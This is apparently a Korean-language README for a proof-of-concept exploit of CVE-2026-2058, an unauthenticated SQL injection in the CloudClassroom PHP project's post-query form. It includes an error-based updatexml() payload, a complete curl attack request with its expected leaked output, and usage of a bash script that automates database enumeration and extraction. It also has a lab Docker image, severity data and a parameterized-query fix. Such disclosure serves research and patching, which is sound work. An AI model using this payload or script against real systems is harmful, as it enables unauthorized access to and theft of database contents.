
CVE-2026-2058에 대한 개념 증명 익스플로잇으로, CloudClassroom PHP 프로젝트의 SQL 인젝션 취약점을 이용하며, 자동화된 데이터베이스 열거 및 데이터 추출 기능을 포함합니다.
*CloudClassroom PHP 프로젝트(v1.0)*의 게시물 조회(Post Query) 기능에 SQL 인젝션 취약점이 존재합니다.
이 취약점으로 인해 공격자는 squeryx POST 파라미터를 통해 임의의 SQL 명령을 주입할 수 있으며, 이로 인해 데이터베이스 열거 및 데이터 추출이 가능합니다.
이 저장소에는 백엔드 데이터베이스에서 민감한 데이터를 추출하기 위해 취약점을 악용하는 방법을 보여주는 개념 증명(PoC) 익스플로잇이 포함되어 있습니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-2058 |
| 취약점 유형 | SQL 인젝션 |
| CWE | CWE-89 |
| 영향받는 소프트웨어 | CloudClassroom PHP 프로젝트 |
| 영향받는 버전 | 1.0 |
| 구성 요소 | 게시물 조회(Post Query) 기능 |
| 공격 경로 | 원격(Remote) |
| 인증 필요 여부 | 아니요 |
| 영향 | 데이터베이스 정보 노출 |
| 심각도 | 높음(High) |
| 공격 패턴 참조 | CAPEC-66 |
POST /postquerypublic
squeryx
백엔드 코드는 적절한 검증이나 파라미터화된 쿼리 없이 사용자 입력을 SQL 쿼리에 직접 연결합니다.
취약한 코드 예시:
$sql = "INSERT INTO query(Query, Eid) VALUES ('$tempsquery','$tempseid')";
$tempsquery가 사용자 입력에서 파생되므로 공격자는 임의의 SQL을 주입할 수 있습니다.
테스트 및 연구 목적으로 취약한 Docker 환경이 제공됩니다.
docker run -d --name cloudclassroom-lab -p 9292:80 bladscan/cloudclassroom-sqli:1.0
이 취약점은 MySQL의 updatexml() 함수를 활용한 오류 기반 SQL 인젝션 기법으로 트리거할 수 있습니다.
페이로드 예시:
a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1
curl 요청 예시:
curl -X POST http://TARGET/postquerypublic \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "gnamex=test" \
--data-urlencode "[email protected]" \
--data-urlencode "squeryx=a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1" \
--data-urlencode "update=Post Query!"
예상 응답:
XPATH syntax error: '~cc_db~'
이 저장소에는 다음 작업을 자동으로 수행하는 bash 익스플로잇이 포함되어 있습니다:
chmod +x cloudclassroom_sqli_exploit.sh
./cloudclassroom_sqli_exploit.sh http://TARGET/postquerypublic
예시:
./cloudclassroom_sqli_exploit.sh http://192.168.1.10/postquerypublic
공격자는 다음을 수행할 수 있습니다:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L⚠️ 참고: NVD CVSS 점수는 영향 평가 방식의 차이로 인해 CNA(VulDB) 점수와 다릅니다.
익스플로잇 예측 점수 시스템(EPSS)은 취약점이 실제 환경에서 악용될 확률을 추정합니다.
| CVE | EPSS 확률 | 백분위 | 날짜 |
|---|---|---|---|
| CVE-2026-2058 | 0.00028 | 7.62 % | 2026-03-01 |
출처: FIRST EPSS 데이터셋
개발자는 다음을 수행해야 합니다:
안전한 구현 예시:
$stmt = $conn->prepare("INSERT INTO query(Query, Eid) VALUES (?, ?)");
$stmt->bind_param("ss", $tempsquery, $tempseid);
$stmt->execute();
이 익스플로잇은 교육 및 연구 목적으로만 제공됩니다.
저자는 이 코드로 인한 오용이나 피해에 대해 책임을 지지 않습니다.
bl4dsc4n
보안 연구원